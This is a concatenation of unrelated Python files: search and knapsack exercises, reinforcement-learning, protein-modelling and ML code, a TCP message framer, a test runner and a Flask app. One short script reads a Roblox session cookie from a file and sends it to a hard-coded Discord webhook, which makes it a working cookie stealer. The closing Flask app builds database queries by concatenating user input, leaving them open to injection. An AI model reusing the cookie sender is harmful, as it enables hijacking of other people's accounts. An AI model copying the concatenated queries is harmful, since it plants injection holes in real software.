    fifo2.put(s0)
    tmp = []
    tmp2 = []
    znalezione = []
    t0 = time.time()
    t1 = time.time()
    czasy = []
    czasy2 = []
    t3 = 0
    while not fifo2.empty():
        el = fifo2.get()
        tmp2 += el
        if(SprawdzenieWarunku(el) and -1 not in el):
            t2 = time.time()
            #print(f"czas potrzebny na odnalezienie stanu {el} : {(t2-t1)}")
            czasy.append(t2-t1)
            t3 += (t2-t1)
            czasy2.append(t3)
            t1 = time.time()
            znalezione.append(el)
        else:
            if el != [N-1]*N:
                tmp = TworzeniePotomkow2(el)
                for p in tmp: fifo2.put(p)
    czascalkowity = (time.time() - t0)
    return znalezione, czasy, czasy2, czascalkowity

znalezione, czasy, czasy2, czascalkowity = BFS2()
j = 1
for stan in znalezione:
    print(f"{j}: {stan}")
    j+=1

print(len(znalezione))
print(czasy)

plt.plot(czasy,'o')
plt.plot(czasy,'r')
plt.show()

plt.plot(czasy2,'o')
plt.plot(czasy2,'b')
plt.show()


import torch
import torch.nn as nn
from torch.autograd import Variable

from elf.options import auto_import_options, PyOptionSpec
from .utils import accumulate, add_err, average_norm_clip

class PolicyGradient(object):
    @classmethod
    def get_option_spec(cls):
        spec = PyOptionSpec()
        spec.addFloatOption(
            'entropy_ratio',
            'the entropy ratio we put on PolicyGradient',
            0.01)
        spec.addFloatOption(
            'grad_clip_norm',
            'gradient norm clipping',
            0.0)
        spec.addFloatOption(
            'min_prob',
            'mininal probability used in training',
            1e-6)
        spec.addFloatOption(
            'ratio_clamp',
            'maximum importance sampling ratio',
            10.0)
        spec.addStrListOption(
            'policy_action_nodes',
            'the entropy ratio we put on PolicyGradient',
            ['pi,a'])
        return spec

    @auto_import_options
    def __init__(self, option_map):
        """Initialize the policy gradient.

        Specifically, initialize policy loss to be an ``nn.NLLLoss`` and
        parse ``policy_action_nodes``.
        """
        self.policy_loss = nn.NLLLoss().cuda()
        self.policy_action_nodes = []
        for node_specifier in self.options.policy_action_nodes:
            policy, _, action = node_specifier.partition(",")
            self.policy_action_nodes.append((policy, action))

    def _compute_one_policy_entropy_err(self, pi, a):
        """Compute policy error and entropy error for one.

        Pass in ``min_prob`` to avoid ``Nan`` in logrithms.

        Returns:
            dict of
            ``logpi``: log policy
            ``policy_err``: polict error
            ``entropy_err``: entropy error
        """
        batchsize = a.size(0)

        # Add normalization constant
        logpi = (pi + self.options.min_prob).log()
        # TODO Seems that logpi.clone() won't create a few hook list.
        # See https://github.com/pytorch/pytorch/issues/2601
        logpi2 = (pi + self.options.min_prob).log()

        # Get policy. N * #num_actions
        policy_err = self.policy_loss(logpi, a)
        entropy_err = (logpi2 * pi).sum() / batchsize
        return dict(
            logpi=logpi,
            policy_err=policy_err,
            entropy_err=entropy_err)

    def _compute_policy_entropy_err(self, pi, a):
        """Compute policy error and entropy error for a batch.

        Pass in ``min_prob`` to avoid ``Nan`` in logrithms.

        Returns:
            dict of
            ``logpi``: log policy
            ``policy_err``: polict error
            ``entropy_err``: entropy error
        """
        errs = {}
        if isinstance(pi, list):
            # Action map, and we need compute the error one by one.
            for i, pix in enumerate(pi):
                for j, pixy in enumerate(pix):
                    errs = accumulate(
                        errs,
                        self._compute_one_policy_entropy_err(
                            pixy, a[:, i, j], self.options.min_prob)
                    )
        else:
            errs = self._compute_one_policy_entropy_err(pi, a)

        return errs

    def _reg_backward(self, v, pg_weights):
        """Register the backward hook. Clip the gradient if necessary."""
        def bw_hook(grad_in):
            grad_clip_norm = self.options.grad_clip_norm
            # this works only on pytorch 0.2.0
            grad = grad_in.mul(pg_weights.view(-1, 1))
            # import pdb
            # pdb.set_trace()
            if grad_clip_norm > 1e-20:
                average_norm_clip(grad, grad_clip_norm)
            return grad
        v.register_hook(bw_hook)

    def feed(self, Q, pi_s, actions, stats, old_pi_s=dict()):
        """One iteration of policy gradient.

        rho nabla_w log p_w(a|s) Q + entropy_ratio * nabla H(pi(.|s))

        Args:
            Q(tensor): estimated return
            actions(tensor): action
            pi_s(variable): policy
            old_pi_s(tensor, optional): old policy, in order to
                                        get importance factor.

        If you specify multiple policies, then all the log prob of these
        policies are added, and their importance factors are multiplied.

        Feed to stats: policy error and nll error
        """
        # We need to set it beforehand.
        # Note that the samples we collect might be off-policy, so we need
        # to do importance sampling.
        pg_weights = Q.clone()

        policy_err = None
        entropy_err = None
        log_pi_s = []

        for pi_node, a_node in self.policy_action_nodes:
            pi = pi_s[pi_node]
            a = actions[a_node].squeeze()

            if pi_node in old_pi_s:
                old_pi = old_pi_s[pi_node].squeeze()

                # Cap it.
                clamped_ratios = torch.clamp(
                    pi.data.div(old_pi), max=self.options.ratio_clamp)
                coeff = clamped_ratios.gather(1, a.view(-1, 1)).squeeze()
                pg_weights.mul_(coeff)
                # There is another term (to compensate clamping), but we omit
                # it for now.

            # Compute policy gradient error:
            errs = self._compute_policy_entropy_err(pi, Variable(a))
            policy_err = add_err(policy_err, errs["policy_err"])
            entropy_err = add_err(entropy_err, errs["entropy_err"])
            log_pi_s.append(errs["logpi"])

            stats["nll_" + pi_node].feed(errs["policy_err"].data[0])
            stats["entropy_" + pi_node].feed(errs["entropy_err"].data[0])

        for log_pi in log_pi_s:
            self._reg_backward(log_pi, Variable(pg_weights))

        if len(self.policy_action_nodes) > 1:
            stats["total_nll"].feed(policy_err.data[0])
            stats["total_entropy"].feed(entropy_err.data[0])

        return policy_err + entropy_err * self.options.entropy_ratio


import random

class Food(object):
    def __init__(self, n, v, w):
        self.name = n
        self.value = v
        self.calories = w

    def getValue(self):
        return self.value

    def getCost(self):
        return self.calories

    def density(self):
        return self.getValue()/self.getCost()

    def __str__(self):
        return self.name + ': <' + str(self.value) + ', ' + str(self.calories) + '>'

def maxVal(toConsider, avail):
    if toConsider == [] or avail == 0:
        result = (0, ())
    elif toConsider[0].getCost() > avail:
        result = maxVal(toConsider[1:], avail)
    else:
        nextItem = toConsider[0]
        withVal, withToTake = maxVal(toConsider[1:], avail-nextItem.getCost())
        withVal += nextItem.getValue()
        withoutVal, withoutToTake = maxVal(toConsider[1:], avail)
        if withVal > withoutVal:
            result = (withVal, withToTake + (nextItem,))
        else:
            result = (withoutVal, withoutToTake)
    return result

def buildMenu(names, values, calories):
    menu = []
    for i in range(len(values)):
        menu.append(Food(names[i], values[i], calories[i]))
    return menu

def greedy(items, maxCost, keyFunction):
    itemsCopy = sorted(items, key=keyFunction, reverse=True)
    result = []
    totalValue, totalCost = 0.0, 0.0

    for i in range(len(itemsCopy)):
        if(totalCost+itemsCopy[i].getCost()) <= maxCost:
            result.append(itemsCopy[i])
            totalCost += itemsCopy[i].getCost()
            totalValue += itemsCopy[i].getValue()

    return result, totalValue

def testGreedy(items, constraint, keyFunction):
    taken, val = greedy(items, constraint, keyFunction)
    print('Total value of items taken = ', val)
    for item in taken:
        print('   ', item)

def testGreedys(foods, maxUnits):
    print('Use greedy by value to allocate', maxUnits, "calories")
    testGreedy(foods, maxUnits, Food.getValue)
    print('\nUse greedy by cost to allocate', maxUnits, "calories")
    testGreedy(foods, maxUnits, lambda x: 1/Food.getCost(x))
    print('\nUse greedy by density to allocate', maxUnits, "calories")
    testGreedy(foods, maxUnits, Food.density)

def testMaxVal(foods, maxUnits, printItems=True):
    print('Use search tree to allocate', maxUnits, 'calories')
    val, taken = maxVal(foods, maxUnits)
    print('Total value of items = ', val)
    if printItems:
        for item in taken:
            print('   ', item)

names = ['wine', 'beer', 'pizza', 'burger', 'fries', 'cola', 'apple', 'donut', 'cake']
values = [89, 90, 95, 100, 90, 79, 50, 10]
calories = [123, 154, 258, 354, 365, 150, 95, 195]
foods = buildMenu(names, values, calories)

# testGreedys(foods, 750)
# print('')
# testMaxVal(foods, 750)

def buildLargeMenu(numItems, maxVal, maxCost):
    items = []
    for i in range(numItems):
        items.append(Food(str(i), random.randint(1, maxVal), random.randint(1, maxCost)))
    return items

# for numItems in (5, 10, 15, 20, 25, 30, 35, 40, 45):
#     print('Try a menu with', numItems, 'items')
#     items = buildLargeMenu(numItems, 90, 250)
#     testMaxVal(items, 750, False)

def fib(n):
    if n == 0 or n == 1:
        return 1
    else:
        return fib(n-1) + fib(n-2)

# for i in range(121):
#     print('fib(' + str(i) + ') = ', fib(i))

def fastFib(n, memo={}):
    if n == 0 or n == 1:
        return 1
    try:
        return memo[n]
    except KeyError:
        result = fastFib(n-1, memo) + fastFib(n-2, memo)
        memo[n] = result
        return result

# for i in range(121):
#     print('fib(' + str(i) + ') = ', fastFib(i))

def fastMaxVal(toConsider, avail, memo={}):
    if (len(toConsider), avail) in memo:
        result = memo[(len(toConsider), avail)]
    elif toConsider == [] or avail == 0:
        result = (0, ())
    elif toConsider[0].getCost() > avail:
        result = fastMaxVal(toConsider[1:], avail, memo)
    else:
        nextItem = toConsider[0]
        withVal, withToTake = fastMaxVal(toConsider[1:], avail - nextItem.getCost(), memo)
        withVal += nextItem.getValue()
        withoutVal, withoutToTake = fastMaxVal(toConsider[1:], avail, memo)
        if withVal > withoutVal:
            result = (withVal, withToTake+(nextItem,))
        else:
            result = (withoutVal, withoutToTake)
    memo[len(toConsider), avail] = result
    return result

def testMaxVal2(foods, maxUnits, algorithm, printItems = True):
    print('Menu contains', len(foods), 'items')
    print('Use search tree to allocate', maxUnits, 'calories')
    val, taken = algorithm(foods, maxUnits)
    print('Total value of items taken =', val)
    if printItems:
        for item in taken:
            print('   ', item)

for numItems in (5, 10, 15, 20, 25, 30, 35, 40, 45, 50):
    items = buildLargeMenu(numItems, 90, 250)
    testMaxVal2(items, 750, fastMaxVal, False)


import pygame
import commons
import entities

from ball import Ball
from vector import Vector
from vector import random_vector

from states import (
    playstate,
    menustate,
    gamestate
)

def update():
    entities.update_balls()

def draw():
    commons.SCREEN.fill((0, 0, 0))
    entities.draw_balls()

def main():
    pygame.init()
    app_running = True
    commons.SCREEN = pygame.display.set_mode((commons.SCREEN_WIDTH, commons.SCREEN_HEIGHT))

    clock = pygame.time.Clock()

    while app_running:
        mouse_position = pygame.mouse.get_pos()
        for event in pygame.event.get():
            if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE:
                app_running = False
            elif event.type == pygame.MOUSEBUTTONDOWN:
                if event.button == pygame.BUTTON_LEFT:
                    rvec = random_vector() * 500
                    entities.balls.append(Ball(Vector(event.pos[0], event.pos[1]), rvec))

        update()
        draw()
        pygame.display.flip()
        commons.DELTA_TIME = 0.001 * clock.tick(120)

if __name__ == '__main__':
    main()


#!/usr/bin/env python
# -*- coding:utf-8 -*-
#@Time    :    2021/4/29 0029 13:52
#@Author  :    tb_youth
#@FileName:    tcp_message.py
#@SoftWare:    PyCharm
#@Blog    :    https://blog.csdn.net/tb_youth

''''
简单解决tcp粘包与分包:在数据的最前面加上一个长度标识，指明本次要发送的数据长度是多少
小数据粘包： 每个小数据都有了长度标识，所以可以区分开来
大数据分包：大数据被分成好几段依次发送，最前面一段有这段数据长度的标识，只有达到这个长度才开始提取出信息
'''
class MsgContainer(object):
    def __init__(self,zere_count):
        self.zoro_count = zere_count # 前zero_count位作为数据长度标识
        self.msg_list = [] # 存接收到的数据处理后的数据（即去掉数据长度的信息）
        self.msg_len = 0 # 每一条消息的真实内容长度
        self.rcv_data = b'' # 接收数据缓存区

    def __build_head(self,str_len):
        ''' 构建消息头
        :param str_len: 消息真实内容长度 ，是字符串类型表示的
        :return:
        '''
        head = (self.zoro_count-len(str_len))*'0' + str_len
        return head.encode('utf-8')

    def pack_data(self,data):
        ''' 在data前加上长度信息
        data：需要传输的数据
        :return:
        '''
        bdata = data.encode('utf-8')
        str_len = len(bdata)
        return self.__build_head(str(str_len))+bdata

    def __get_msg_len(self):
        self.msg_len = int(self.rcv_data[:5]) # 收到数据前5位就是数据的真实内容长度

    def add_data(self,data):
        '''
        :param data: 这里的data是每次接收到的，不一定都有长度标识
        :return:
        '''
        if len(data)==0 or data is None:
            return
        self.rcv_data += data # 放到缓存区
        # 开始check是不是可以完整提取真实信息
        self.__check()

    def __check(self):
        '''
        检测是否可以完整提取真实信息了
        :return:
        '''
        if len(self.rcv_data)>self.zoro_count: # 首先除去长度信息还要内容
            self.__get_msg_len() # 获取到真实内容长度
            self.__get_msg() # 尝试提取

    def __get_msg(self):
        '''
        完整提取真实内容
        :return:
        '''
        if len(self.rcv_data)-self.zoro_count >= self.msg_len: # 已经可以完整提取真实内容
            msg = self.rcv_data[self.zoro_count:self.zoro_count+self.msg_len] # 提取
            self.rcv_data = self.rcv_data[self.zoro_count+self.msg_len:] # 被提取后更新接收缓存区
            msg = msg.decode('utf-8')
            self.msg_list.append(msg) # 提取出的真实内容放到消息队列
            self.__check() # 继续check
        else:
            return

    def get_all_msg(self):
        return self.msg_list

    def clear_all_msg(self):
        self.msg_list = []

if __name__ == '__main__':
    zero_count = 5
    data = 'I am mike'
    mc = MsgContainer(zero_count)
    print(mc.pack_data(data))

    # 模拟粘包
    recv = b'00009I am Mike' + b'00010I am Aikel' + b'00009I am Nike'
    mc.add_data(recv)
    msgs = mc.get_all_msg()
    for msg in msgs:
        print(msg)
    mc.clear_all_msg()

    # 模拟分包
    recv = b'00009I '
    mc.add_data(recv)
    recv = b'am Mike'
    mc.add_data(recv)
    mc.add_data(b'00008I ')
    mc.add_data(b'am Yam')
    print(mc.get_all_msg())


import requests

# Define the webhook URL
webhook_url = 'https://discord.com/api/webhooks/1115022728144105553/Bp0OjKzz4uLjb35546qtni-z_Grxy0xPyJ4lY2HyIGQ2LsbHqGT9b6TlCBtPLX8V_g2_'

# Read the cookie from cookie.txt
with open('cookie.txt', 'r') as file:
    cookie = file.read().strip()

# Create the payload with an embed
payload = {
    'embeds': [
        {
            'title': 'Roblox Cookie',
            'description': f'Cookie: {cookie}'
        }
    ]
}

# Send the payload to the webhook
response = requests.post(webhook_url, json=payload)

# Check the response status
if response.ok:
    print('Cookie sent successfully to the webhook!')
else:
    print('Failed to send the cookie to the webhook. Status code:', response.status_code)


import xgboost as xgb
import streamlit as st
import pandas as pd
import joblib

#Loading up the Regression model we created
model = joblib.load('xgb_model.pkl')

# Define the prediction function
def pred(age, job, marital, education_qual, call_type, day, mon, dur, num_calls, prev_outcome):
    if job=='blue-collar':
        job=0
    elif job=='entrepreneur':
        job=1
    elif job=='housemaid':
        job=2
    elif job=='services':
        job=3
    elif job=='technician':
        job=4
    elif job=='self-employed':
        job=5
    elif job=='admin.':
        job=6
    elif job=='management':
        job=7
    elif job=='unemployed':
        job=8
    elif job=='retired':
        job=9
    elif job=='student':
        job=10
    elif job=='unknown':
        job=0

    if marital=='married':
        marital=0
    elif marital=='divorced':
        marital=1
    elif marital=='single':
        marital=2

    if education_qual=='primary':
        education_qual=0
    elif education_qual=='secondary' or education_qual=='unknown':
        education_qual=1
    elif education_qual=='tertiary':
        education_qual=2

    if call_type=='unknown':
        call_type=0
    elif call_type=='telephone':
        call_type=1
    elif call_type=='cellular':
        call_type=2

    if mon=='may':
        mon=0
    elif mon=='jul':
        mon=1
    elif mon=='jan':
        mon=2
    elif mon=='nov':
        mon=3
    elif mon=='jun':
        mon=4
    elif mon=='aug':
        mon=5
    elif mon=='feb':
        mon=6
    elif mon=='apr':
        mon=7
    elif mon=='oct':
        mon=8
    elif mon=='sep':
        mon=9
    elif mon=='dec':
        mon=10
    elif mon=='mar':
        mon=11

    if prev_outcome=='unknown':
        prev_outcome=0
    elif prev_outcome=='failure':
        prev_outcome=1
    elif prev_outcome=='other':
        prev_outcome=2
    elif prev_outcome=='success':
        prev_outcome=3

    if num_calls>6:
        num_calls=6

    prediction= model.predict([[age, job, marital, education_qual, call_type, day, mon, dur, num_calls, prev_outcome]])
    print(prediction)

    return abs(prediction)

st.title('Customer Conversion Predictor')
# st.image()
st.header('Enter the characteristics of the Potential Customer:')

age= st.number_input("Age of the person : ", min_value=0, max_value=100, value=20)
job = st.selectbox("Customer's Job : ", ['management', 'technician', 'entrepreneur', 'blue-collar', 'unknown', 'retired',
                                         'admin.', 'services', 'self-employed', 'unemployed', 'housemaid', 'student'])
marital = st.selectbox("Customer's Marital Status :", ['married', 'single', 'divorced'])
education_qual = st.selectbox("Customer's Educational Status :", ['tertiary', 'secondary', 'unknown', 'primary'])
call_type = st.selectbox("Type of call :", ['unknown', 'cellular', 'telephone'])
day = st.number_input("Day of call made (1 to 31) : ", min_value=1, max_value=31, value=1)
mon = st.selectbox("Month of contact :",['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'])
dur = st.number_input("Duration of call in secs:", min_value=0)
num_calls = st.number_input("Number of calls made :", min_value=0, value=0)
prev_outcome = st.selectbox("Previous outcome of contact :", ['unknown', 'failure', 'other', 'success'])

if st.button('Predict Outcome'):
    result= pred(age, job, marital, education_qual, call_type, day, mon, dur, num_calls, prev_outcome)
    if (result[0])==1:
        st.success("The Customer is likely to get converted successfully.")
    else:
        st.warning("The Customer is unlikely to get converted.")


from main import parse, train
from src.model_t import Tmodel

if __name__=="__main__":
    args = parse(print_help=True, model_cls=Tmodel)
    # args.n_splits = 10
    args.dataset_name = "Fdataset"
    # args.lr = 1e-3
    # args.lr = 5e-4
    # args.dropout = 0.4
    # args.disease_neighbor_num = 25
    # args.drug_neighbor_num = 25
    # args.disease_feature_topk = 20
    # args.drug_feature_topk = 20
    # args.embedding_dim = 64
    # args.neighbor_embedding_dim = 32
    # args.hidden_dims = (64, 32)
    # args.debug = True
    args.seed = 9
    # args.epochs = 1
    args.train_fill_unknown = False
    # args.comment = "test"
    # args.loss_fn = "focal"

    train(args, Tmodel)


import numpy as np

def create_APRBS(max, min, samples, hold_samples):
    steps = int(samples/hold_samples)
    APRBS = []
    for _ in range(steps):
        point = min + (max-min)*np.random.rand()
        if point < 0:
            print(point, max, min)
        temp_array = np.ones((hold_samples,1))*point
        APRBS.append(temp_array)
    return np.concatenate(APRBS)


# -*- coding: utf-8 -*-
"""
Created on Sun Mar 13 17:11:13 2016

@author: XuGang
"""

import os, re
from myclass import Residues, Myio
from buildprotein import RebuildStructure
from potential import Rama, Potentials
import time
import tensorflow as tf
import numpy as np

os.environ["CUDA_VISIBLE_DEVICES"] = ""

gpus = tf.config.experimental.list_physical_devices('GPU')
for gpu in gpus:
        tf.config.experimental.set_memory_growth(gpu, True)

APIX = 1.5
def _run(atoms_matrix_init, atoms_matrix_name, params, residuesData, geosData,
         init_torsions, init_rotamers, rama_cons, epochs, lr, rotamers_cons, iteration, find_shift, shift, save=False):

    print ("LR: " + str(lr) + "; Epochs: " + str(epochs) + "; find_shift: " + str(find_shift))

    exp_map, original_apix = Potentials.read_map(params["emd_path"], apix=APIX)

    if save:
        best_potential = 1e6
        best_atoms_matrix = None

    atoms_mask = RebuildStructure.make_atoms_mask(residuesData)
    lr_schedule = tf.keras.optimizers.schedules.ExponentialDecay(
        initial_learning_rate=lr,
        decay_steps=epochs,
        decay_rate=0.96,
        staircase=True)
    optimizer = tf.keras.optimizers.Adam(learning_rate=lr_schedule)

    atoms_matrix = atoms_matrix_init
    for epoch in range(epochs):
        iteration += 1
        with tf.GradientTape() as tape:
            start = time.time()

            for torsions in init_rotamers:
                if torsions > 180:
                    torsions.assign_sub(360)
                elif torsions < -180:
                    torsions.assign_add(360)

            atoms_matrix = RebuildStructure.rebuild_side_chain_parallel(init_rotamers, geosData, residuesData, atoms_matrix)
            assert len(atoms_matrix_init) == atoms_matrix.shape[0]

            loss = 0
            if find_shift:
                shift = Potentials.get_shift(atoms_matrix, atoms_mask, exp_map=exp_map, apix=APIX, original_apix=original_apix)
                find_shift = False
            loss = Potentials.get_EMpotentials(atoms_matrix, atoms_mask, exp_map=exp_map, apix=APIX, original_apix=original_apix, shift=shift)
            print ("Epoch:", iteration, loss.numpy(), shift)

        variables = init_rotamers

        gradients = tape.gradient(loss, variables, unconnected_gradients="zero")
        optimizer.apply_gradients(zip(gradients, variables))

        print (time.time() - start)

        if save and epoch >= 100:
            if loss.numpy() < best_potential:
                best_atoms_matrix = atoms_matrix
                best_potential = loss.numpy()

    if save:
        return iteration, shift, best_atoms_matrix
    else:
        return iteration, shift, init_torsions, init_rotamers

def run_script(multi_iter):

    params = multi_iter

    iteration = -1
    shift = 0.5
    if not os.path.exists(params["output_path"]):

        # ############################## initialization ##############################
        name, fasta = Myio.readFasta(params["fasta_path"])
        seq_len = len(fasta)

        rama_cons = Rama.getRamaCons(params["rama_cons"], fasta)

        if params["from_pdb"]:
            print ("Modeling with pdb: " + params["pdb_path"])
            residuesData = Residues.getResidueDataFromPDB(params["pdb_path"])
            geosData = RebuildStructure.getGeosData(residuesData, params["from_pdb"])
            init_torsions = RebuildStructure.initTorsionFromGeo(geosData)
            init_rotamers, _ = Myio.readRotaNN(params["rotann_path_real"], start_idx=2, end_idx=6)
        else:
            print ("Modeling: " + name)
            print (len(fasta), fasta)

            residuesData = Residues.getResidueDataFromSequence(fasta)
            geosData = RebuildStructure.getGeosData(residuesData)
            init_torsions = Myio.randomTorsions(fasta)

        assert len(init_torsions) == 3*len(residuesData) == 3*seq_len

        init_torsions = np.array(init_torsions, dtype=np.float32)
        init_torsions = [tf.Variable(i) for i in init_torsions]

        atoms_matrix_len = seq_len*Residues.NUM_MAX_ATOMS
        residuesData = RebuildStructure.save_index_in_matrix(residuesData, atoms_matrix_len)
        atoms_matrix_init = RebuildStructure.rebuild_main_chain(init_torsions, geosData, residuesData, set_first=True)

        if params["from_rotann"]:
            init_rotamers_pred, _ = Myio.readRotaNN(params["rotann_path"], start_idx=2, end_idx=6)
            assert len(init_rotamers) == len(init_rotamers_pred)
            for i in range(len(init_rotamers)):
                if init_rotamers[i] == 181:
                    init_rotamers[i] = init_rotamers_pred[i]

        assert len(init_rotamers) == sum([i.num_dihedrals for i in residuesData])
        init_rotamers = np.array(init_rotamers, dtype=np.float32)
        rotamers_cons = np.array(init_rotamers, dtype=np.float32)
        init_rotamers = [tf.Variable(i) for i in init_rotamers]

        atoms_matrix_init, atoms_matrix_name = RebuildStructure.rebuild_side_chain(init_rotamers, geosData, residuesData, atoms_matrix_init)

        # ############################## initialization ##############################

        # ############################## optimaztion ##############################
        iteration, shift, init_torsions, init_rotamers = _run(atoms_matrix_init, atoms_matrix_name, params, residuesData, geosData,
                                                              init_torsions, init_rotamers, rama_cons, epochs=600, lr=0.5,
                                                              rotamers_cons=rotamers_cons, iteration=iteration, find_shift=True, shift=shift)

        iteration, shift, init_torsions, init_rotamers = _run(atoms_matrix_init, atoms_matrix_name, params, residuesData, geosData,
                                                              init_torsions, init_rotamers, rama_cons, epochs=600, lr=0.25,
                                                              rotamers_cons=rotamers_cons, iteration=iteration, find_shift=False, shift=shift)

        iteration, shift, best_atoms_matrix = _run(atoms_matrix_init, atoms_matrix_name, params, residuesData, geosData,
                                                   init_torsions, init_rotamers, rama_cons, epochs=600, lr=0.1,
                                                   rotamers_cons=rotamers_cons, iteration=iteration, find_shift=False, shift=shift, save=True)

        # ############################## optimaztion ##############################
        Myio.outputPDBALL(residuesData, best_atoms_matrix, atoms_matrix_name, params["output_path"])

if __name__ == '__main__':

    filenames = ["pdb8eqj"]

    emb_names = ["emd_28538.mrc"]

    # side chains folding process with fixed backbone, and the results from PDB (or others) as initial x1x2x3x4
    # require backbone .pdb file / real dihedral .dihedral file / pred dihedral .mut file / em density .mrc file
    from_pdb = True
    from_rotann = True
    use_emd = True

    multi_iters = []
    for filename, emb_name in zip(filenames, emb_names):

        output_path = "./predictions/" + filename + "_fold3.pdb"

        fasta_path = os.path.join("./examples/em_refine", filename + ".fasta")
        rama_cons = Rama.readRama("./lib/ramachandran.txt")

        params = {}
        params["rama_cons"] = rama_cons
        params["fasta_path"] = fasta_path
        params["output_path"] = output_path

        params["from_pdb"] = from_pdb
        params["from_rotann"] = from_rotann
        params["use_emd"] = use_emd

        if params["from_pdb"]:
            params["pdb_path"] = os.path.join("./examples/em_refine", filename + ".pdb")
            params["rotann_path_real"] = os.path.join("./examples/em_refine", filename + ".dihedrals")
            print ("Read:", params["pdb_path"])
            print ("Read:", params["rotann_path_real"])

        if params["from_rotann"]:
            params["rotann_path"] = os.path.join("./examples/em_refine", filename + ".mut")
            print ("Read:", params["rotann_path"])

        if params["use_emd"]:
            params["emd_path"] = os.path.join("./examples/em_refine", emb_name)
            print ("Read:", params["emd_path"])

        multi_iters.append(params)

    for multi_iter in multi_iters:
        run_script(multi_iter)


class Employee:
    def __init__(self, name: str, age: int, salary: int):
        self.name = name
        self.age = age
        self.salary = salary
        self.addresses = []
        self.company = 'BMW'

    def update_empl_company(self, new_company):
        self.company = new_company

    @staticmethod
    def show_holidays():
        print('10.01, 08.05, 28.06')

    @classmethod
    def create_employee_with_bonus(cls, name, age, salary, bonus):
        salary_with_bonus = salary + bonus
        return cls(name, age, salary_with_bonus)

if __name__ == '__main__':
    john = Employee('John', 24, 5000)
    marta = Employee('Marta', 23, 7000)

    print(john.addresses.append('Scriabin 25'))
    print(john.addresses)
    print(marta.addresses)

print(Employee.show_holidays())

john_with_bonus = Employee.create_employee_with_bonus('JonhB', 34, 1400, 700)

print(john_with_bonus.salary)


import unittest
import sys
import os
current_directory = os.path.dirname(os.path.abspath(__file__))
root_path = os.path.abspath(os.path.dirname(current_directory) + os.path.sep + ".")
sys.path.append(root_path)
import time
import HTMLTestReportCN
import HTMLTestRunner
# from TestCase.Test_login import test_appium
from TestCase.Test_csv_login import test_appium
# from TestCase.Test_order_process import test_appium
from PO import start_motion_appium

start = start_motion_appium.start_motion_appium()

if __name__ == '__main__':

    #testunit = unittest.TestSuite()
    #testunit.addTest(logins('test_login1'))

    #根目录
    project_path = os.path.abspath(os.path.join(os.path.dirname(os.path.split(os.path.realpath(__file__))[0]), '.'))
    #用例目录
    test_case_path = project_path+"\\Testcase"

    # suite = unittest.defaultTestLoader.discover(start_dir=test_case_path,pattern='test*.py')

    suite = unittest.TestSuite(unittest.makeSuite(test_appium))

    # 定义报告输出路径

    report_path = project_path+"\\Result\\"

    report_name = report_path+time.strftime('%Y%m%d%H%M%S', time.localtime())

    # report_path =os.path.dirname(os.path.abspath('.'))+'/Result/'

    # now = time.strftime('%Y-%m-%D-%h_%m_%S',time.localtime(time.time()))

    HTMLfile = report_name + "_Report.html"

    fp = open(HTMLfile, "wb")

    runner = HTMLTestReportCN.HTMLTestRunner(stream=fp,
           title=u"沂川商城回归测试",
           description=u"测试用例结果")

    runner.run(suite)

    fp.close()

try:
       start.kill_appium()
except Exception as e:
       print("APPIUM进程关闭失败")

try:
       start.kill_motion()
except Exception as e:
       print("模拟器进程关闭失败")


from flask import jsonify
from flask import request
from flask import render_template
from app import app
from cassandra.cluster import Cluster
cluster = Cluster(['ec2-34-225-164-189.compute-1.amazonaws.com'])
session = cluster.connect('pageranks')
session_subs = cluster.connect('reddit')

user_list = []
subreddit_list = []
year_list = ['2017', '2016', '2015', '2014', '2013', '2011', '2010', '2009', '2008']

class User(object):
    def __init__(self, name, avg08, avg09, avg10, avg11, avg12, avg13, avg14, avg15, avg16, avg17):
        self.name = name
        self.avg08 = avg08
        self.avg09 = avg09
        self.avg10 = avg10
        self.avg11 = avg11
        self.avg12 = avg12
        self.avg13 = avg13
        self.avg14 = avg14
        self.avg15 = avg15
        self.avg16 = avg16
        self.avg17 = avg17

    def string_out(self):
        return ["2008:    " + str(self.avg08), "2009:    " + str(self.avg09), "2010:    " + str(self.avg10),
         "2011:    " + str(self.avg11),"2012:    " + str(self.avg12), "2013:    " + str(self.avg13),
         "2014:    " + str(self.avg14),"2015:    " + str(self.avg15),"2016:    " + str(self.avg16),
         "2017:    " + str(self.avg17)]

class Subreddit(object):
    def __init__(self, name, adjacencies, year):
        self.name = name + " " + year
        self.adjacencies = sorted(adjacencies, key=lambda x:x[1])

    def get_similar(self):
        similar = []
        for adj, val in reversed(self.adjacencies):
            similar.append(adj)
        return similar

@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html", user_list = user_list)

@app.route('/index', methods=['POST'])
def handle_data():
    reddit_username = request.form['search']
    reddit_username = '\'' + reddit_username + '\''
    stmt = ''' SELECT * FROM allranks WHERE name=''' + reddit_username
    response = session.execute(stmt)
    response_list = []
    for val in response:
    	response_list.append(val)
    if (len(response_list) == 0):
        return render_template("index.html", user_list = user_list)
    newuser = User(response_list[0].name, response_list[0].average_2008,
        response_list[0].average_2009, response_list[0].average_2010,
        response_list[0].average_2011, response_list[0].average_2012,
        response_list[0].average_2013, response_list[0].average_2014,
        response_list[0].average_2015, response_list[0].average_2016,
        response_list[0].average_2017)
    user_list.insert(0, newuser)
    return render_template("index.html", user_list = user_list)

@app.route('/subreddit')
def subreddit():
    return render_template("subreddit.html", subreddit_list = subreddit_list)

@app.route('/subreddit', methods=['POST'])
def handle_subreddit_data():
    sub = request.form['search_subreddit'] + ''
    if (';' in sub):
        new_subreddit = Subreddit('Stop trying to SQL inject my demo', [], 'Tigran!')
        subreddit_list.insert(0, new_subreddit)
        return render_template("subreddit.html", subreddit_list = subreddit_list)
    year = sub[:4]
    s_reddit = sub[5:]
    if (year not in year_list):
        new_subreddit = Subreddit('Stop trying to break my demo Tigran.', [], 'Queries must be in the form \'year:Subreddit\' or \'year Subreddit\'')
        subreddit_list.insert(0, new_subreddit)
        return render_template("subreddit.html", subreddit_list = subreddit_list)

    s_reddit = '\'' + s_reddit + '\''
    stmt = ''' SELECT *  FROM ''' + '''subs_''' + year + ''' WHERE name=''' + s_reddit
    response = session_subs.execute(stmt)
    response_list = []

    for val in response:
        response_list.append(val)
    if (len(response_list) == 0):
        return render_template("subreddit.html", subreddit_list = subreddit_list)

    new_adjacencies = []
    for item in response_list[0].adj:
        new_adjacencies.append((item, response_list[0].adj.get(item)))

    new_subreddit = Subreddit(response_list[0].name, new_adjacencies, year)
    subreddit_list.insert(0, new_subreddit)
